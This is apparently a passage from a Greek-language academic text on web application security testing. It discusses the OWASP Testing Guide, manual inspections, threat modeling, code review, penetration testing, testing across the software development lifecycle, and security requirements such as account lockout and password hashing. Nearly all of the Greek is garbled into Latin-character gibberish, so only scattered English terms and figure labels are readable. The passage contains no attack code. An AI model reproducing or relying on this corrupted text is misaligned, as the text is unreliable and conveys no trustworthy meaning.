Eivar onpavtikd eniong va eivatl yvoot 1 ac@AAELR TOV OTOLTEITOL Y100 TO EKAGTOTE
épyo. Ov minpopopiec kor to mepovclokd otoyeion mov Oa  amoutnfel va
TPOGTATELTOVV, O Tpémet va eivor TaSvounpéva o¢ Tpog Tov TPOTO e TOV 0moio Ha
avTipetonilovtol (EUTICTEVTIKA, HLOTIKE, GKP®G HLOTIKG KAM.). & OoUT TNV
nepintwon Oa mpénel va TpoPAETOVTAL O1 1GYVOVGES OMOITHGELS OCPAAEING TOV Eivor
o€ 1oY0 avdAoya pe TNV £3pa TOL £KAGTOTE OpyavicpoD (m.y. Odnyieg g EE yw v
OVTILETMTICT) TPOCOTIKDOV OEGOUEVOV GE EQAUPUOYES).

Mia emtoymg doKiu| acpareiog Yo Tpwtd onueio piog EQoproyns, amottel o EAeyyog
va yivetar otn Aoyikn “out of the box”, dote n dokiun acpodreiog va unv yivel Baoet
NG KOVOVIKNG GUUTEPLPOPAS TNG EPAPUOYNG, OAAG BACEL TG CLUTEPLPOPLS EVOG
eloforéa otV mpoomabel Tov va omdoetl pion epappoyn. Me dedopévo 6Tl KABe
EQUPUOYY] OVOTTOCCETOL LE LOVASIKO TPOTO QKOO KOl AV XPNCUYLOTOLOVVTOL KOV
TAOUGL0L OVATTTUENG EQOPULOYDV, TO OVTOUATOTOMUEVO EPYOAEIN EAEYY®V ACPUAELNG
ATOTLYYAVOLV GUYVE GTOVG EAEYYOVG, Yiati ot EAeyyot Ba TPEMEL VAL LAOTOLOVVTOL OV

TEPIMTOON.
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Ondte givor oNUOVTIKO KATA TOV ApYIKO TPOYPAUUATIOUO EVOG EAEYYOL ACPUAEING, VO
Yivel 660 T0 SVVATO KAAVTEPT TEKUNPIOOT) TNG EPOPLOYNG, OTTMS Elval Yio TaPASEY QL
1 OPYLTEKTOVIKY], TO. O10Y PELLLLATO. PONG KOl O TTEPITTMOGELS XPNONG-

Xpebletar mpocoyn dote va unv Bempnbet coav TANpNG pio EMoKOTNON AoPAAELNG T
omoia &xetl yivel empavelakd, yati 0o vdpyel n yevdaicdnon 6TL | papuoyn sivot
acPoANG. AVTo umopet va tlooduvapel pe To va unv Exet yiver kovévag éleyyoc. Eivat
TOAD OMUAVTIKO TOL EDPNUOTO VO EEETALOVTOL TPOGEKTIKA, OGTE Vo unv BewpnBoidv
AavBacuéva cav Betucd. Emiong Oa mpénet va yivetan emainfevon 01t kaOe Tpupa g
AOYIKNG NG e@approyns £xel eheyyfel ko mapdAinia éxer e€etaotel Kdbe cevaplo
xpPNong Thoavov TpoTdV onueimv.

"Evog éheyyog ac@aieiog pe tnv Aoyikn tov “black box” pmopei va £xel evivtmotaxd
KoL PO ATOTEAEGHLOTA, TAPOLD ALTE €0V LITAPYEL SOECILOG O TN Yaiog KOIKAG
0T0 TPOoOTIKO acqoieiog, Oa Bondnoel kotd Tovg eAéyyovg ywati ivol mbavd va
EVTOTIOTOVV TPOTA OMpEia TNG EQapLOYNS, Ta omtoia dev Ba pmopovoay va ereyyBodv
KoTd TV StdpKela eEAEyyov pe v Aoyikn tov “black box”.

‘Evag cwotdg mpoypappaticnds acpareiog emiong, o mpémetl va pmopet va kabopilet
0Tt to. mpdypato yivovtor OAo kot koAvtepa. OmoTte givor  onuavVIIKO Vo
TopakoAovBoHVTOL TO ATOTEAEGLLOTO TMV OOKILMY KOl VO, OVOTTOGGOVTOL LETPNGELS
7oL o ATOKAAVTTOVY TNV TACT] AGPAAELNS TOV EPAPLOYDV EVTOG TOV OPYOVIGLLOV.
‘Evag cwotdg mpoypoppatiopods petpnoemv Bo umopet vo deiéel eqv amonteiton
TEPLOCOTEPT EKTOUOEVOT|, EGV VITAPYEL KATOLOG UNYXOVIGLOS AcPOAEinG 0 0molog dev
glvol caQ®G KATOVONTOC 1| €6V HEW®VOVTOL TO TPOPANHOTE AGPOAEiNg 0T dapKELN
OV YPOHVOUL.

Ot ToKTIKEG LETPNOELS TOV SNUIOVPYOVVTOL LE AVTOUATOTOMUEVEG HEBOOOVG amd TOV
dwbéoo mnyaio kddwa, Ponbodv Tov opyovioud oty aloAdynon g
OTOTEAECUATIKOTNTAG TOV UNYOVICUOV acpoieioag. H ypnon tumomompévav
petpnoewv umopel vo fondnocel mepiocoTEPO TOV OPYOVIGUO GTNV OVOATTUEN TOV
LETPNOEWV, 01 OTO1ES Etval OYETIKA SVOKOAO vaL avortuyHovv.

H oloxkdnpwon piog dwdwkaciog dokipudv, elvar onuovtikd vo meptAapfavel Kot
apyeio 10 omoio o KaTaypAPEL TIC EVEPYELEG TOV SOKIUAV, Omd TO10VE Eyvay, Kabmg

Kol o Topiopota tov dokiumv. H popen g ékBeong Ba mpémetl va eivor pe tétoto
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TPOTO SOUNUEVT), DGTE VO VAL KATOVONTH otd OAOVS TOVS EKAGTOTE EUTAEKOLEVOLG,
OIS tvar Yo TOPASELY O O TPOYPOLUATICTES KO TO TPOCMOTIKO TNG TANPOPOPIKNG,
01 OlXEIPLOTEG TOV EPY®V, 1 S10TKNOT TOL OPYAVIGUOD, Ol ECMTEPIKOL EAEYKTEG N M
KOVOVIOTIKY] cvpupopewon. H ypnon evdg mpotdmov €kbeomng dokiumv ac@areiog,
umopet va PonBnoel mpog avty v katebBvvon kot vo eEacporicst 0T TO

QTOTEAECLLATO TEKUNPLOVOVTOL P OKPIPEL Kot GUVETELL.

1.4 EEnynon Teyvikav doKipov
["a v vAomoinom evog TPOYPAUUATOS SOKIUDV YPNCULOTOLOVVTOL TEYVIKEG EAEYYOVL.
Bdoel too OWASP testing Guide [7], ot teyvikég avtég givat:
o Xepokivnreg embewpnoelg kor avabewproelg (Manual Inspections and
Review)
e Movrtehonoinon aneiidv (Threat Modeling)
o  Avafempnon kodiko (Code Review)
e Aok deicdvong (Penetration Testing)
[Mopaxdtw Oa avaivBoiv To TAEOVEKTNUOTO KOl HELOVEKTNUOTO TMOV TOPOTAVED

TEXVIKOV.

1.4.1 Xepoxivipres embswpricers kot avabsmpnoels

O yepoxivnteg emBempnoels a@opovV OOKIUEG OGPAAELNG TOV TPOCMOTIKOD, TWV
TOMTIKOV Kol TOV OldKAcIdV €vOC opyaviopov. Ot yewpokivnteg embempnoelg
dtevepyohvtor amd Tovg eMBe®PNTES AGPAAELNG Kol EVOEYETAL VO TEPIAAUPAVOLY
eMioNG Kot TOV EAEYY0 TOV amoPAcE®mV OV £x0VV VAOTOMOE], OTMG Yo TOPAdELYLLOL
€va. apyItekTovikd ox€010 TG Avong mov akoilovOnOnke. H viomoinon twv
yepokivntov embempnoemv deldyetar LEC® GLVEVTEDEE®V LLE TO TEYVIKO TPOCOTIKO
™G eAeyyOUEVNC TEYVIKNG ADONG M He TNV avdAvon g tekunpioong mov Oa
napooyedel.

[Tapdro mov N cLYKEKPUEVT] AVOT EAEYYOL €ival AmAT] ©OC TPOG TNV LAOTOINOT TNG,
umopel va 0doel TOAD KoAd amoteAécpato, yiati givor oe 0éom va avadeiSet
mpofAnpata aceaieiog ToAd ypnyopa. Eniong péow g yepoxivnng embedpnong
umopet vo ereyyfet o Koxhog Zomg Avantuéng Aoyiopikot, dtuceariilovtog 0Tt ot
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TOMTIKEG 7OV €YOVV €QAPUOCTEl, KOODC Kol 1 KAvOTNTA TOV EUTAEKOUEVOL
TPOCMOTIKOV £lval 6€ EMOPKES EMIMEDO.

INveton xotavontd BEPoana, OTL amouteiton 1 ¥pNon vOg LOVTEAOL EUTIGTOCVVNG KO
EMOANBELONG Y10 TNV EMTVYIO TOL GVYKEKPIUEVOL TOTTOV EMOED P OTG.

Ao 10 mOpOTAVE SOMCTOVETOL OTL GOV TAEOVEKTNLOTA TOV GLYKEKPULEVOL
HOVTEAOL €MBE®PNONG UTOPOVV VO KOTOYPOPOVV OTL dgv amorteitor 1 ypnion
TEXVOAOYLOG Y10l TNV LAOTOINGNC TNG, LTOPEL VL EPUPUOCTEL GE SLAPOPES KATUGTAGELS,
napéxel eveMéia kot mpomBel v opadikn epyacia, evad TEA0G umopel va epapprootel
ano o TpaTe 6tddte Tov Kdkhov Zong Avantuéng Aoyiouikov.

Avrtiotolya Opmg umopei va gitvat ypovoopa yio TV VAOTOINGT TG, EVOEXETAL VOL UMV
VIapyeL O100EG1H0 VAIKO vmooTNpEng kot TEAOG amaitel 10 TPOoSOTKO mov Oa
OLEVEPYNOEL TOVG EAEYYOVG VO EYEL GYETIKT EUTELPIAL Y10 VO PEPEL £VOL LKOVOTIONTIKO

OTOTEAECLLOL.

1.4.2 Movreiomoinon ameiiwv

H povtehomoinon amelhdv odlvel 11 dLVOTOTNTO GTOV GYEONGTI VO OVOTTUEEL
GTPUTNYIKEG LETPLOAGLOV T®V TOOVAOV TPOTOV oMueinv Kot Tapdiinia fondd oty
€0TI0IOMN TNG TPOCOYNG GTO LEPT] TOV GLGTNLOTOG TTOV ATTALTOVY TEPLGGOTEPO EAEYYO.
H povtehomoinomn anetldv Oa pmopovoe va meptypagel amid og extipnon KvoHhvov
EQUPLOYDV.

Mo v avantuén evog LovtEAOV amEIANG, VTTAPYOLY OBEGIU TPOTVTIOL EKTIUNOTG
Kvdvvov, 0mtmg givat yio topddetypo to NIST 800-30 [8].

‘Eva povtého ameldng, €xer ovviBmg yo €600 pia cvAroyn amd Aloteg Kot
Swypdppota. To Code Review Guide tmg OWASP [9] eivor éva mapdderypa
pebodoroyiag povteromoinong anetAdy.

[TAeovekTnpoTa TG YPNONG TNG LOVIEAOTOINGNG ATEIADV UopovV va BewpnBodv 0Tt
glvoil 1 YpNOYOTOINGM TNG TPOKTIKA LE TN AOYIKY| TOV E1GPOAEN, OTL Elvon EDEMKTY) Kot
OTL pmopel ko avTn va popproctel eniong and to TpdTa otddto Tov Kbklov Zwmng
Avantoéng Aoylopikov.

AvticToy o Gov HEWOVEKTNUO TNG WITOPEL Vo Katoypagel To OTL aKOUO Kot Vo KAAO

HOVTELO amEIANG, dev e€acpaiilel amapaitnTo Kot KOAO AOYIGHIKO.
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1.4.3 EmbOewpnon nnyaiov k@ddka

H embBedpnon tov mnyaiov Kddwko piog epoapuoyng, €ivor pio dadikacion un
aLTOUATOL EAEYYOVL acPoieiog 1 omoia pumopel va avadei&el oAy coPapés advvopies
acPaALelnG, o€ oxéon Ue TIG LVIOAOUTEG LOPPES EAEYYOV. [ To oKoTd avTd givor TOAD
ONUAVTIKO, 110{TEPA Y10 EPAPLOYES Ol OTOIEG AVATTOCCOVTOL EVTOG TOV OPYAVIGHOV,
VoL EAEYYETOL O TTNYOLOG KMOTKAG TV EQOUPUOYDV.

Me v emBedpnon tov myaiov KOO0, OVOKOUADTTOVIOL TOAAG mpofAnpato
ac@aleiag To onoio givar duokoro va Ppebodv pe dAlo €idn doK®V, Yo aVTO Kot
TPOTILATOL YO TIC TEYVIKEG OOKIUEG acpoleiag. Emiong pe v embedpnon tov
myaiov Kodka, kabopilovior pe okpifela ta mpoPAnpate kol pmopel va
TOPOKOUQTEL 0 ELeyyog TG popeng “black box™.

Me v emBedpnon Tov nyciov kddwa eivat oAv whavo va Bpebodv mpofanuata
o omoio. gueovifovior ovyva ¢ evmdbeleg oe web epapuoyés, Ommg &givan
mpofAnuata  tavtdypovne Asttovpyiog, AovOoouévng  EmXEPNOOKNG  AOYIKNG,
e éyyov mpdoPaomng, KpumrToypaeKEG advvapies, kabmg kot backdoors, Trojans,
Easter eggs, time bombs, logic bombs kot dAleg popeég kaxodfoviov KMIKO.

Mia onuavtikn mtoapdpetpog n omoio mpénel va Anedel vwoym, eivon mwg o mnyaiog
KOOIKOG TOV OVOTTOGGETAL EVOEYETOL VO UV €lvar 10106 pe aTtdv mov Ba avaAvBet,
OTOTE OMOLTEITOL VO, EAEYYOVTOL KO O ETLYEIPTCLOKEG SLOIKAGTIES TAPAAANAQL.

Me Bdoet Ta mapamdvem, YIvETol KOTovonTod 0Tl To TAEOVEKTNUOTO TNG EMOEDPNONG
TOV TNYOUOV KMAKO €ivor 1 TANPOTNTO, 1 AMOTEAECUOTIKOTNTA Ko 1] akpifea g,
EVO TapAAAN A etvon ypryopn €6v vAomoteitan and kavovs emBempnTé.

Avtictoyo Opmg omoutel TPOYPOUUATIOTEG acPaleiag pHe TOAD e&deikevpéveg
YVOGELS, pmopel va yboet evprjpoto og compiled libraries 1) va unv avakaddyel ebkola
run-time errors, evd vrapyel mOOVOTNTA O TNYOI0C KOOKOG TOV YPNCULOTOLEITOL

TPOYLLOTIKE, VO O1PEPEL OO CVTOV TOV AVAAVETOL.

1.4.4 Aokwés digicovons
Ot dok1pég deicduong YPNOCLOTOOVVTOL TOALAL YPOVIO GTNV AGPAAELN JIKTHMV KOl

givan kuping yvootéc g dokiuég “black box™ 1 “ethical hacking”.
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OVG1LOGTIKA 0POPOVY ATOUAKPVGUEVEG SOKIUES EAEYY®V acQaAEiag Hiog EQUPUOYNG,
yopic va elvar yvoot) 1 eowtepikny Asrtovpyion e O eleykthg €xel apyikd
OKOMOUOTO, ETTEOOV ATAOD ¥PNOTH, GLVROWE UE TN XPNON EYKLPOL AOYOPLOCHOD
OTNV €QUPULOYN Kol TPOSTaOEl Vo AEITOVPYNOEL ooV EIGPOAENS EKUETAALEVOUEVOC
TUYOV EVTTADEIEG TNG EQPOAPUOYNC.

Me dedopévo 01t ot Web gpoppoyéc avarntuocoviol cuvnbmg €81k yloo kaOe
opyovIGHd, 1M SOKIUEG OlEICOVONG AEITOLPYOLV KLUPIMG HE TNV HOPON TNG OTANG
épevvac.  Ymapyovv epyoaieion e€héyyov O1€1GOLONG TOL  OVTOUOTOTOWOVV TNV
Swadtkooiog eEAEYYOL, aALG pe TN @OON TV WED gQoaproydV Ta OTOTEAEGUATA TOVG
gtvar cuvnBwg PTYA.

O1 dokég dleiodvuong YpPNOLOTOIOVVTOL GLYVA MG Ol KUPLEG 1) ATOKAEIGTIKEG OOKLUES
aceoleiog web gpoppoymdv og évov opyaviopd, ahdd avtd dgv gival cwotd Kot Oa
TPENEL VO OTOTEAOVY UEPOG EVOG TPOYPALLOATOS JOKIUMY KOl OYL TV OTOKAEIGTIKY
pébodo.

Qo1660, cTOYELUEVEG OOKIUEG Oteioduong, OmmG eivar yio Topddstypo o EAeyYOG
YVOGTOV AOVVOUIDV TOV EVIOMIGTNKOV GE TPONYoVUEVES emBepNoELS, Umopel va
amodeyBovv YPNOUYES Yoo TOV €AEYYO TOL KOOAPIGHOD TOL TNYOioL KMOOWKO oo
TPONYOVLEVO EVPTLOITOL.

[TAgovekTnpoTa TOV SOKIHUAOV Oleicdvomng tvar 1 TaydTnTo VAOTOINONG TOVS (dpa e
avtioToro KPO KOGTOG), OV ATOITOVY LYNAD eminedo £E10IKELONG TOV EAEYKTAV,
VO TELOG EAEYYETAL O KMOKOG OV TEAMKE OaL efvot otV TOpayy).

Avrtictoya dpmc, epappdlovrol 6to T€A0g Tov Kvkdov Zomg Avantuéng Aoyiopikov,

Ko ot EAeyyot givar g Aoykng front impact.

145 Exidoyn 6wotis teyvikig

[Mopamave avaddbOnkov ot texvikés eAéyymv aceaieioc. Tlog dpmg emiéystar n
oMOTN 1 01 CMOTEG TEYVIKEG ava Tepintmon? Iotopikd ypnoipomomOnkay Kupimg ot
dokipég dtetodvong. Iopdro mov €yovv amodeydel yproyles, dev avtipetwmilovv
AmOTELECUATIKE  peydAo €0poc Ogpdtov kot otov Kokho Zong Avamtuéng

Aoyiokol ¥pNCIUOTOI0VVTAL GTO TEAOS TOV KoL Y10 UKPO EVPOC.
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[Mpaxtikd M TO c®GTH TPOGEYYIoN aPopd i 1oppomnuévny yprion ddpopwv
TEYVIKAOV 1 omoio B kKaAvmTel TIg doKEG o€ Oheg T pdoelg Tov Kdkhov Zwmng
Avantuéng Aoyiopikov, a&lomoldviog TiG TAEOV KOTAAANAES TEYVIKEG OvVOL (QAoM
avAamTuENG.

Mo 16oppomnUEVN TPOGEYYIoT JAUPEPEL OVA TEPITTOON Kol EE0PTATAL OTTO TOAAOVG
TAPAyovTeG OMMG Yol TOPAdEYHO 1| @PdTTe TG Oadkaciog SOKIUDY 0 NG
ETAUPIKNG KOLATOVPOC. 'Eva Tumikd mopdderyo avoAoyIKngG avIPOGOTEVGNG GTOV
Kokho Zong Avéartuéng Aoyiopkod @oivetol 6ta mopakdto oyfuate, 0nov gival
Okptd OtL M peyodutepn Eueact SIveTol oTo apyIKd GTAdO TG OVATTLENG TOV

AOYIGIKOV.

15-35%

10-15%
H Define
M Design
Develop
B Deploy
W Maintain

15-25%

15-35%

Ewéva 3: Avoroyia dokipactikng mpoonddetog oe SDLC

M Process Reviews &
Manual Inspections

B Code Review
Security Testing

Ewova 4: Avaloyio SOKIHLOGTIKNG TPOOTAOELNG GOUPOVO LE TNV TEXVIKT SOKIUNG

1.5 Aqpmovpyio amrortoe®V SOKIHOV 0.0QUAELNS
Ot amoutnoglg acporeiog Tposdlopifovv ToVG GTOYOVG EVOG TPOYPAULOTOS SOKLUMV.

[Mopaxdto Bo avarvBodv ot pébodotr TekUNPIOONS TOV OTOUTNCEOV Y10 SOKIUES
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ac@alreiag kotd ™ dtdpkela Tov Kokhov Zong Avantuéng Aoyiopukov, Kafdg Kot
dwyeipton twv KvdHvev aceoareiog AOYIoUIKOV, PACEL TV ATOTEAECUATOV TOV
OOKIUMV.

Bookog 6t0)0¢ TV SOKIUOV OGPAAEING, OTOTEAEL 1] EMKVPMOT TNG OVOUEVOUEVIG
Aertovpyiog TV eAEyy®V, HECH TOV OTOUTHGE®V OCQOAEiag. AvTO onuaivel 0Tt
dwoeoaiiletor Yy ta doedopéva kol TNV vanpeocia, M owbecudtTa, N
EUTIGTELTIKOTNTO Kol 1] okepondtnTa ToVG. Emiong otdyog eivar n emkupwon g
EQOPLOYNG TOV EAEYXOV aoQUAEiOG e OGO TO duvaTo AydTepeg eVTAOELeC.

Apykd amonteiton KOTOVONoN TOV ETYEPTUATIKOV OTOLTCEMVY Y10 TNV TEKUNPimon
avTioTolY0 TOV OmoUTNCE®V 0o@aAEing. Ol ETUEPNUATIKEG OTOITHCELS TOPEXOVV
TANPOQOPIES GYETIKA LE TN AELTOVPYIKOTNTA TNG EPAPLOYNG. MEPOG TG ACPAAELNG
TOV ETLYEPTLATIKOV OTOLTICEDV OTOTEAEL ) TPOCTAGIO TV SEOOUEVMV TMOV TEAAUTMV
TOL OPYOVIGHOD KOl 1] GUUUOPP®GCT HE TOVS KOVOVIGHOVG, TO TPOTUTO KOU TIG
TOMTIKEG,.

O éAheyyog CLUUOPPOONG TNG EPAPUOYNG LLE TOVG KOVOVIGHOVS, TO TPOTLTO KoL TG
TOMTIKEG, omoteAel pion apyikn avdAvon eAéyyov, He OKOMO VO EVIOMIGTOLV
OTTOLTIOELS CUUUOPPMONG HE KOVOVIGLOUG PAGEL TOL EMYEIPTUATIKOD TOUEN KO TNG
YDPOG GTOVG 0TO10VE dpacTnplomoteital o opyaviouos. Eriong o npénel va AneBovv
VoYM T EPaprocTéa Prounyavikd tpdtuma yio v acpdieia. TELog Ba mpémetl va
Aoppévetar voyn Kot 1 GOUUOPE®ON HE TO TPOTLTO. KO TIG TOMTIKES TOL
OpPYOVIGHOV.

Ondte, OTAV O1 OMOUTNGELS OCPAAEING AVTIGTOLYOVV GTOVG KOVOVEG GLUUOPPMOOTG, 1
dokiun aceareiog pmopel va emkvupmcetl v £kBeon TV KIvOOVeV GLUUOPEOOTNC.
Ed&v mpoxdyouvv mapafidceig BAcel Tov TpoTHNOV Kol TV TOAMTIKOV 0cPUAEINS TOV
TANPOEOPLOV, Ba TPOKVYEL OVTIGTOLYO Kol O KIVOLVOG oL pmopel vo tekunplodet,
dpa Bo TPEMEL Ko 0 OPYOVIGUOG VAL TOV OOXELPLOTEL.

Kvplog o10)0g TV d0KIUOV aoQoAEiag amotedel 1 EMKOPOON TOV OTOLTICEWV
ac@alreiog omd amoyn AettovpykodTnToc. AvtioTtorya, Bacel Tng dtoyeiptong Kvovvov,
0 0TOY0G TV AEOAOYNCE®V TNG ACPAAELNG TANPOPOPIOV Elval 1 EMKVHPOOT TOV
anoutnoewv acpoieiog. Koplo otdyo tov a&loloynoemv ac@oieiog TANPOQOpLOV,

anoterel, 6€ VYNAO MiMEdO, O EVIOTMICUOG TMV KEVOV GE EAEYYOVG AGPUAETING, OTMG
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glval yuo TOpAdOEYHO T KPLTTOYPAPNGON, O EAEYXOC EAEYXOL TOLTOTNTOGC 1)
eEovoloddtong. Avtictorya, Babitepog o1d)0G TG aSl0AdYNoNG amoTelel 1) avdAvon
KvoOvov, Ommg elval ylo TapAdELyHo 0 EVTOMIGUOC TUYXOV OOVVAUIDV GE EAEYYOVG
ac@oAeiag, ot omoiot &ivar vmevBuvor yo ™ OlBecUOTNTA, OKEPALOTNTO KO
EUTMIGTEVTIKOTNTO TOV OESOUEV@V.

Bdoet g 0&10A0yNoNG aGAAELNS, OL ATUITNGELS AGPUAELNG ETIKVPDOVOVTOL OVAL PACOT
tov Kdxhov Zong Avamtoéng Aoyiopikov, Le Tn YpNomn OLPOPETIKMOV TEYVIKOV KoL
LEBOOOAOYIDV SOKILDV.

Toxoév Onmuota aceoreiog mov evromiloviar omnv apyn tov Kidkiov Zong
AvanToéEng AoylopkoD, TEKUNPLOVOVTOL GE TPOYPAUUATO SOKIUMV, UE GTOXO TNV
EMKVPWON TOLG HE OOKIUESG ac@aAeiag, oe emOUevn @AoTM NG avATTLENG TOL
AOYIoUIKOV. ME TOV GUVOLOGHO TMOV OMOTEAEGUATOV SOPOPOV TEXVIKOV OOKILMV,
umopel vor aviAnBovv KaAVTEPEG TEPMTOGELS OOKIUADV OGPAAEinG, avEdvovtos To
EMMESO SOGPAAGNG TOV ATOLTICEDV ACPAAELNS.

‘Evag onpavikdg mapdyovtag emainfevong Ott ot éheyyor oaceoieiog Eyxouvv
oYEOOTEL KOl KOTAGKEVUGTEL UE GKOTO TOV MEPLOPIGUO TOV EMMTAOCEDV OO TNV
é€kBeom tov TIpOTOV onpeiwv, etvar va Aappavovtal vdyn ot fabitepec attieg avtdv
TOV TPOTOV onueiov, Bdost g TaSvopunong TV aneildV Kol OVTILETP®V.

Oocov apopd tig Web epapuoyéc, pia kol exkivnon yuo v £oymyn TOV Onottoemv
acpaleiag, amotelel n éxBeon TV eAéyywv acpaieiog oe kKowvd onueia gumddetag,
onmg sivar yio Topaderypo to OWASP Top Ten [10].

Mia katnyoplomoinorn amell®v Kot ovtipetpov yu gvmdbeiec, 0o pmopel va
ypnoworomBel emiong yoo TV TEKUNPIOON TOV OTOUTICEOV OCPUAEINS YOO TNV
Kodomoinon, 6mwg ivat To TPOTLIO KMOTKOTOINGTG.

H xpwowoémrta tov tpotov onueiov ywoo v vrootmpidn Hog GTPaTnYIKNG
UETPLACHOD KIVOUV®V, TPENEL VOL AOUPAVETOL LTOYT OTIC OTANTNGELS acpaAreioc. Evag
opyaviopdg Ba pmopel va dwatnpetl pio Pacn evmabeidv mov €xovv eviomioTtel o€
EQOPLOYES, MOTE Ta BEPATA ACPAAEING VO LTOPOVV VO KATOYPOPOVV BAGEL TOL TOTTOVL,
T0V OHOTOG, TOL HETPLOICHOV KOl TNG TNYNG TOLG KOL VO OVTIGTOL(IGTOUV GTIG

epapuoyég omov Ppiokovror. H cuykekpipuévn Pdon Ba propovoe va fondnoetl oy
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KOTAYPOQN UETPNOE®V YO TNV OVOAVOT TNG OMOTEAECUATIKOTNTAG TV OOKIU®DV
ac@aleiog Katd v didpketo Tov Kokhov Zong Avantuéng Aoyiopko.

O 6VVOVOGUOG Y10 TOPASEIYUO TOV OTOTEAECUATOV OO TNV OVAALGY TOL TNYo{iov
KOOKO KO TV SOKILAV Oleicovong, ivarl mhoavo va mpocsdiopicovy v mbavotnta
éxBeonc g evmdBetlag, ondte Ba pumopel va vroAoyiotel avtictorya Kot 1 fabuoioyio
KWovvou g eumabetoc. Me v avoaeopd tov a&loAoynoemv Kivodvoy TpetdTnTag
TV eupnudtev, Ba pmopel vo amo@ocloTeEl M OTPOTNYIKN HETPlacUoD Tov Oa
akolovOnBel, Omwg Yo mopdaderypa va 000el TpotepadTNTA GTOL EVPNLOTO VYN AOD

Kot Lecaion Kvovvov, 6e oYEoT LLE TOL EVPNUOTO Y AUNA0D KIVODVOV.

1.6 ITapoy1 AELTOVPYIKAOV KOl 1] AELTOVPYIKAV UTULTI|GEDV OKILAV
Ta mpodTLTO, Ol MOMTIKEG KOl Ol KOVOVIGUOL OV 16YX00VV GE EVOV OPYUVIGHO,
ONUoLPYOLY TNV avaykn — Olevépyelag  eEAEYxoV  acpaAeiog, KaOdS Kot
AertovpyikdTTog eAEyywv. Ov amoutnoel aceoieiog yopilovtor ot “Oetikég
OTOLTNGELS” KOl OTIS “OpVNTIKES QTOLTOELS .
Ot “Betikéc amoutoelS” apoPOLY TOV EAEYYO OVOLEVOLEVNG AEITOVPYIKOTNTOS HECH
JOKIUDV aoPaAEing, OTMG Elvorl V1o TAPASELY AL VO ETTPETOVTOL EMG EEL ATOTLYNUEVEG
npoondfeleg ovvdeong mpv KAEWmOel 0 Aoyoaplacpodg Tov ypnotn 1 ot Kmdkol
npdcsPaonc va €xovv gldyloto pnkog €61 aAQaPIOUNTIKOV Yopakt)p®v. Mg tov
éleyyo TtV BeTIKOV omoutnoe®mV eMPEPOIOVETOL 1| AVOUEVOUEVT] AELTOVPYIKOTNTO
GUUPOVO LLE TPOKABOPIGUEVES E1GOOOVG.
[Mopadeiypota oamaitnoemv acPareiog yio EAeyyo TaVTOTNTOC, EIVOL TO TOPOKATO:
o Ilpoctacia tov dlomoetevtnpinyv ToL ¥PNoT
o Kdéivyn (masking) tov eumiotenTikdv Sed0UEVOV OTMG Elval Ol KOSIKOT Kot
ToL passwords
o Kieldopo tov Aoyoplacpov €vog xpnotn, UETO amd CLYKEKPLUEVO aplOud
ATOTLYNUEVOV TPOGTOOEIDV
o Xe& mepinton amoTVYNUEVNS cHVOESNC, VO UNV EREaVIfOVTaL CLYKEKPIULEVA
unvopato Aadovg
e No emrpémetar 1 ¥pNoN KOINKOV OCLYKEKPIWEVNG Hopeng (m.y. névo

aA@aplOunTiKol) Ko UNKoOvG
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e H aAlayn kmdkol TpOcPaong va ETTPETETOL LOVO 0OV ETKVP®OEL 0 TAAOG
KodKOg Ko amavtnOel pio emmAéov epdnon (challenge question)

e H enavagopd tov Kodkoh mpodcPacng Oo yivetar peTd TV EMKVPMOT TOV
OVOLOTOG TOL YPNOTN Kol NG Kotayopnuévng otevbuvong mAEKTPOVIKOD
tayvdpopeiov, otny omoia Oa amocTaAel TPOowPIVOg KwdKOG TPOSPacNG, O
omoiog Ba ypnoporom el Yo TV enavapopd Tov Kmwdkod Tpdsfacns pe véo
KoowKd. o peyoddtepn acedreln, umopel vo omaitndel emmAéov Kot 1
amdvtnon oe pia emmAéov epdnon (challenge question)

Avtioctoya ot “apvnTikéG amauTNoES” apOPOVY TIG OOKLUEG OCQAAEING Ol OTOiES
EALEYYOLV OmPOGOOKNTEG GLUUTEPIPOPES OTWG Elvar Yo TaPAdEYHa 0 EAeYYOG OTL dev
EMTPEMETAL 1] TPOTOTOINON KO 1] KATAGTPOPT OEGOUEVOV TNG EPAPLOYNG 1) O EAEYYOG
OTL M €QUPUOYN OEV YPNOLUOTOLEITOL Y10 TOPAVOLES KOL UN €EOVGLO00TNUEVECS
OIKOVOHIKEG GUVOAAAYES otd KAKOBOLAOVG YPNOTES.

Etvon xotavontd OtL 1 un avopevopevn Guumeppopd Tov avoalntnoewyv KAVeL To
OVOKOAN TNV OOKIUT TOV APVNTIKOV OTOLTHGEDV, OTUTOVTOS Ao ALTOV IOV dlevePYEl
TOV €AEYYXO VO KATOANYEL 0 ampOPAENTEG GLVONKES E1GOJ0V, ALTIMV KOl EMTTOCEMV.
[Ma tov Adyo avtd, amatteitar o1 dOKIUEG ACPUAEING Y10 OPVNTIKEG OMOLTNGES VO
kaBodnyobvtor amd avoAlDoel KiVOUVOV KOl TPOCOUOUDCELS OMEIADV, OCTE VO
UTOPOVV VO TEKUNPLOO0DV To GEVAPLO TOV OMELDY Kol 1 AEITOLPYIKOTNTO TOV
AVTILETPOV OC TAPAYOVTEG Y1 TV AUPAVVOT TOV ATENDV.

Xe MEPWTAOCELS EAEYYOL OMEIM®V TOLTOTNTOG Yo Topdoeypa, Bo pmopovcay va
TEKUNPL®OOVV 01 TOPAKAT® OTAITNGES AGPAAEINGC:

e  Kpuntoypdonon twv 0£d0UEVEOV EAEYXOV TAVTOTNTOG KOTA TNV amodnkevon
KOl LETAPOPE TOVS, MOTE VO LEWMVETAL O KIVOLVOg €MBEGEDOV OmOKAAVYNG
TANPOPOPLOV KO TPOTOKOALOV EAEYXOV TOVTOTNTOG

e  Kpuntoypdonon tov KodK®V TpocPfacns HeE TN XPNoON UN OVACSTPEYIUNG
kpurtoypaenong (m.y. xpnon HASH digest) yio v amoeuyn dictionary
attacks

o Kieldopo kodk®dv HETA TNV Kotaypoen €vog oapldpol amotuynuévov

Tpoomadel®V Kot EMPOAN YPNONG TOAVTAOK®V KMOKAOV TPpOGPacng yio TV
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peioon tov Kwdhvev embécemv pe T HOPEN NG OOKIUNG KMOKOV
TpOcPaonC
o Eupdvion yevik®v pnvopdtov GEOEALOTOS KATO TNV EMKVPOCN TOV
dwmotevtpinv, He 6KOTO TNV HEl®ON TOL KIVOUVOV GLAAOYNG AOYOPLOGLLMOV
e Tavtoypovn miotomoinom tov client kot tov Server yio v amouyn enbécewmy
non-repudiation koatw Man In The Middle (MiTM).
Io v kotavonon tov Tt KAvel pio €QOPUOYN, OTOLTEITOL T TEPLYPAPN, TNG
AetrtovpyikdéTTOg NG, M omoior pmopel vo emitevyBel pe TV mEPLYpOON TOV
